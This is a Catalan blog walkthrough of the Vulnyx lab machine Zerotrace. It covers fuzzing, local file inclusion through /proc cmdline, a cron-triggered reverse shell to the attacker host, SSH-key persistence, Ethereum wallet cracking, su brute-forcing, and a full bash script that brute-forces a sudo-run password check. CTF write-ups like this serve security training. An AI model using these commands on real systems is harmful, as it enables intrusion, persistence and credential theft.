Skip to content

WriteUp Zerotrace - Vulnyx

Published:

VBox

En aquest writeup es descriu la resolució de la màquina Zerotrace creada per suraxddq. És el primer writeup del meu blog que no pertany a una màquina creada per mi. Espero que us serveixi d’ajuda.

Taula de continguts

Obrir taula de continguts

Enumeració

Nmap

Escanegem ràpidament tots els ports amb nmap.

nmap -p- -Pn -n -sS 192.168.1.187

Nmap all ports

Observem tres ports oberts: 22, 80 i 8000. Realitzem un escaneig més detallat per identificar els serveis, versions i possibles vectors d’atac utilitzant els scripts de nmap.

nmap -p22,80,8000 -sVC -Pn -n 192.168.1.187 -o nmap.txt

Nmap

Podem observar que el sistema operatiu és un Debian, el port 22 correspon al servei SSH amb OpenSSH, el port 80 allotja un lloc web http amb nginx i el port 8000 sembla ser un servei FTP implementat amb pyftpdlib. Les versions són actuals i no presenten vulnerabilitats aparents.

Enumeració manual

L’enumeració manual realitzada la resumeixo a continuació:

Accedeixo al lloc web, comprovo la programació on apareix un comentari de la plantilla utilitzada, descarreguem el lloc web complet i també descarreguem d’internet la plantilla utilitzada per a la creació del lloc. Li apliquem un diff als fitxers de la plantilla utilitzada amb els fitxers del lloc web descarregat de la màquina víctima, comprovem les diferències i no hi ha res important.

També vaig intentar accedir al servei FTP sense usuari i amb l’usuari anonymous, però no ho vaig aconseguir.

Fuzzing

Primer vaig intentar trobar alguna cosa amb ffuf i gobuster, utilitzant el mateix diccionari.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.187/ -x .pcap,.php,.txt,.zip,.db,.htm,.html,.phar,.db,.sql,.sql.gz,.sql.zip

Després de diversos intents sense èxit, vaig provar diferents tècniques com HTTP Request smuggling, vaig analitzar possibles vulnerabilitats en les versions dels serveis i vaig executar el comandament strings en l’arxiu OVA, la qual cosa em va permetre descobrir informació rellevant com els usuaris del sistema. Davant la falta de progrés, vaig decidir sol·licitar una pista a suraxddq.

Discord

Amb la pista “Y si no lo ves… .” em va ajudar a continuar. Busquem tots els fitxers i carpetes ocultes que comencen amb punt . utilitzant ffuf.

ffuf -u http://192.168.1.187/.FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "User-Agent: Mozilla/5.0" -fs 153 -t 40

FFUF

Vam trobar la carpeta /.admin. Continuem amb el fuzzing dins d’aquesta carpeta.

gobuster dir -u http://192.168.1.187/.admin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .pcap,.php,.txt,.zip,.db,.htm,.html,.phar,.db,.sql,.sql.gz,.sql.zip

gobuster

Vam trobar l’arxiu /.admin/tool.php. Com que és un arxiu PHP que no mostra cap contingut (0 caràcters), vam procedir a realitzar fuzzing de paràmetres tant POST com GET per descobrir possibles vectors d’entrada.

Fuzzing de paràmetres POST.

ffuf -u "http://192.168.1.187/.admin/tool.php" -X POST -d "FUZZ=/etc/passwd" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

ffuf-post

En no trobar resultats amb el fuzzing de paràmetres POST, vam procedir a realitzar el fuzzing de paràmetres GET.

ffuf -u "http://192.168.1.187/.admin/tool.php?FUZZ=/etc/passwd" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

ffuf-get

Vam trobar el paràmetre file. En accedir a la URL /.admin/tool.php?file=/etc/passwd podem veure el contingut de l’arxiu /etc/passwd que conté la llista d’usuaris del sistema.

ffuf-get

Utilitzem una wordlist per a LFI de DragonJAR i només podem obtenir els arxius /etc/passwd i /etc/hosts.

ffuf -u "http://192.168.1.187/.admin/tool.php?file=FUZZ" -w ./LFI-WordList-Linux -fs 0

ffuf-get

ffuf-get

Intentem accedir als arxius en el directori /proc de Linux, on podem veure els comandos executats pels serveis actius en /proc/[PID]/cmdline.

Primer preparem un llistat de 5000 PIDs.

seq 1 5000 > pids.txt

Utilitzem ffuf per descobrir quins PIDs ens permeten obtenir informació i guardem els resultats en l’arxiu cmd-ffuf.txt.

ffuf -u "http://192.168.1.187/.admin/tool.php?file=/proc/FUZZ/cmdline" -w pids.txt  -fs 0 -o cmd-ffuf.txt

Com que tenim totes les URLs trobades en un XML guardat en el fitxer cmd-ffuf.txt, l’utilitzem per fer una petició a totes les URLs amb informació i guardar-ho en un fitxer amb el següent script d’una línia.

jq -r '.results[].url' cmd-ffuf.txt | xargs -P4 -I {} sh -c 'echo "\n************* {}"; curl -s "{}" | tr "\0" " "'  > resultados.txt

Ara podem observar tots els comandos trobats en el servidor en el fitxer resultados.txt.

resultados.txt

Vam trobar el comandament que inicia el servei FTP al port 8000, on s’exposa la contrasenya utilitzada de l’usuari J4ckie0x17.

Accés inicial amb J4ckie0x17

Amb la contrasenya trobada de J4ckie0x17 podem accedir al servei FTP al port 8000, però no tenim permisos per pujar arxius en cap de les carpetes, cosa que ens impedeix crear un webshell. Provem la mateixa contrasenya en el servei SSH i efectivament funciona, aconseguint així l’accés inicial al servidor.

ssh J4ckie0x17@192.168.1.187

ssh J4ckie0x17

Moviment lateral de J4ckie0x17 a shelldredd

Vam trobar diverses coses interessants amb l’usuari J4ckie0x17.

  1. El binari /usr/bin/chattr té el bit SUID activat quan no és habitual, aquest binari serveix per modificar els atributs especials en sistemes de fitxer ext2/ext3/ext4.
find / -type f -perm -4000 2>/dev/null

find suid

  1. Utilitzem pspy per monitoritzar els processos actius i trobem un que executa l’usuari shelldredd amb el UID 1003 molt sospitós.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s && chmod +x pspy64s && ./pspy64s

shelldredd process

CMD: UID=1003  PID=1475  | /bin/sh -c /bin/bash /opt/.nobodyshouldreadthis/destiny

En examinar el binari destiny, sembla que podem modificar-lo i no conté cap script, per la qual cosa probablement aquest procés estigui mostrant un error. No obstant això, en intentar modificar-lo no podrem ja que té el flag d’inmutable dels atributs especials del sistema de fitxers EXT.

lsattr /opt/.nobodyshouldreadthis/destiny

destiny inmutable

Utilitzem el binari chattr amb permisos SUID per treure el flag d’inmutable.

chattr -i /opt/.nobodyshouldreadthis/destiny

destiny no inmutable

Ara podem modificar l’arxiu destiny, afegint un shell invers que apunti a la nostra màquina atacant en el port 443.

echo 'bash -i >& /dev/tcp/192.168.1.181/443 0>&1' > /opt/.nobodyshouldreadthis/destiny

A la nostra màquina atacant iniciem un listener amb netcat.

nc -lvnp 443

Després d’esperar aproximadament un minut, rebem una shell inversa amb privilegis de l’usuari shelldredd.

shell con shelldredd

Moviment lateral de shelldredd a ll104567

Abans de continuar, instal·lem la nostra clau pública al directori .ssh de l’usuari shelldredd per facilitar l’accés mitjançant SSH i mantenir la persistència.

Utilitzem la nostra clau pública.

mkdir .ssh && echo "ssh-ed25519 AAAAC.....CxOr3 kali@kali" > ./.ssh/authorized_keys && chmod 600 ./.ssh/authorized_keys

Ara podem connectar-nos mitjançant SSH des del nostre host per obtenir una shell completa i mantenir la persistència.

ssh shelldredd@192.168.1.187

Vam trobar diverses coses interessants al servidor, tenim accés al home de l’usuari ll104567 i observem tres fitxers interessants:

També vam trobar una carpeta que sembla ser una wallet de crypto /opt/cryptovault/ll104567 amb tres fitxers:

Cracking Crypto Wallet

Des del nostre host, copiem els arxius del cryptovault de ll104567 a la nostra màquina utilitzant scp, ja que tenim la nostra clau pública instal·lada.

scp -r shelldredd@192.168.1.187:/opt/cryptovault/ll104567 .

scp vault

Seguint les tècniques descrites en l’anàlisi de vulnerabilitats en arxius keystore de wallets Ethereum, vam procedir a intentar crackejar la wallet.

Análisis Sistemático de Vulnerabilidades en Archivos Keystore de Wallets Ethereum

Primer hem d’obtenir el hash del wallet utilitzant ethereum2john, que farem servir posteriorment per crackejar-lo.

ethereum2john secret

ethereum2john

Guardem el hash en un fitxer.

ethereum2john

Procedim a intentar crackejar-lo amb hashcat.

hashcat -m 15700 hash /usr/share/wordlists/rockyou.txt -w 4

Després d’un temps d’espera, hashcat descobreix la contrasenya dragonballz que es troba a la línia 3186 del diccionari rockyou.txt.

hashcat -m 15700 hash /usr/share/wordlists/rockyou.txt --show

wallet pass

Contrasenya de ll104567 i diccionari

En aquest moment sabia que alguna cosa tenia a veure amb Dragon Ball Z i One-Punch Man, dos animes; el primer el coneixia, el segon no. Vaig estar creant diccionaris amb els personatges de tots dos animes i provant diverses combinacions. Fins i tot vaig visualitzar un vídeo de YouTube on apareixia Son Goku lluitant contra One-Punch Man, però no em va servir de res.

Al final només es necessitava combinar la contrasenya del wallet dragonballz amb el diccionari de personatges de l’arxiu one del directori home de l’usuari ll104567.

Al directori home de shelldredd creem un diccionari amb l’arxiu /home/ll104567/one afegint dragonballz al començament de cada línia.

sed 's/^/dragonballz/' ../ll104567/one > ~/diccionario.txt

Diccionario password

Descarreguem l’eina suForce de d4t4s3c, eina molt útil per fer força bruta.

wget --no-check-certificate -q "https://raw.githubusercontent.com/d4t4s3c/suForce/refs/heads/main/suForce" && chmod +x suForce 

i la utilitzem amb el diccionari creat per intentar obtenir la contrasenya de l’usuari ll104567.

./suForce -u ll104567 -w ./diccionario.txt

suForce

Bingo! Obtenim la contrasenya de l’usuari ll104567.

Escalada privilegis de ll104567 a root

Ara que tenim accés com a usuari ll104567, podem procedir a llegir la flag de l’usuari (user.txt) que anteriorment no teníem permisos per accedir.

Utilitzant su des de l’usuari shelldredd o accedint mitjançant SSH amb la contrasenya obtinguda accedim com l’usuari ll104567.

su ll104567

su

L’usuari ll104567 té permisos per executar com a root mitjançant sudo l’executable /home/ll104567/guessme que vam analitzar prèviament i era vulnerable.

sudo -l

Analitzem el script guessme i utilitzem ChatGPT per generar un script en bash que aprofiti la vulnerabilitat i endevini la contrasenya. En aquest punt estàvem una mica cansats i no teníem ganes d’escriure codi 😅

getpass.sh

#!/bin/bash
# Conjunto de caracteres a probar; puedes ampliarlo según tus necesidades.
alphabet='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{};:,.<>/?`~'

# Variable para almacenar el prefijo encontrado (la contraseña)
password=""

# Función que ejecuta guessme con un input dado y devuelve la salida
function test_guess() {
    local guess="$1"
    # Se envía el input sin salto de línea adicional
    echo -n "$guess" | sudo /bin/bash /home/ll104567/guessme 2>/dev/null
}

echo "Iniciando extracción de contraseña..."

while true; do
    # Primero, probamos si el prefijo actual ya es la contraseña completa.
    output=$(test_guess "$password")
    if [[ "$output" == *"Password matches!"* ]]; then
        echo "¡Contraseña encontrada: $password!"
        break
    fi

    found=0
    # Iteramos por cada carácter del alfabeto
    for (( i=0; i<${#alphabet}; i++ )); do
        c="${alphabet:$i:1}"
        guess="${password}${c}*"
        output=$(test_guess "$guess")
        if [[ "$output" == *"Password matches!"* ]]; then
            password="${password}${c}"
            echo "Caracter encontrado: '$c' -> Contraseña parcial: $password"
            found=1
            break
        fi
    done

    # Si no se encontró extensión, se detiene el script.
    if [ $found -eq 0 ]; then
        echo "No se pudo extender la contraseña. Contraseña parcial: $password"
        break
    fi
done

Copiem el codi i creem un fitxer al directori home de l’usuari, li assignem permisos d’execució i l’executem.

root pass

Un cop obtinguda la contrasenya de l’usuari root mitjançant l’script, utilitzem el comandament su per canviar a l’usuari root. Finalment, llegim el contingut del fitxer root.txt que conté la flag final del sistema.

root flag

Agraeixo a suraxddq per aquesta excel·lent màquina virtual. A través d’aquest laboratori, he adquirit coneixements valuosos sobre la seguretat de les wallets d’Ethereum i les vulnerabilitats associades a la seva implementació.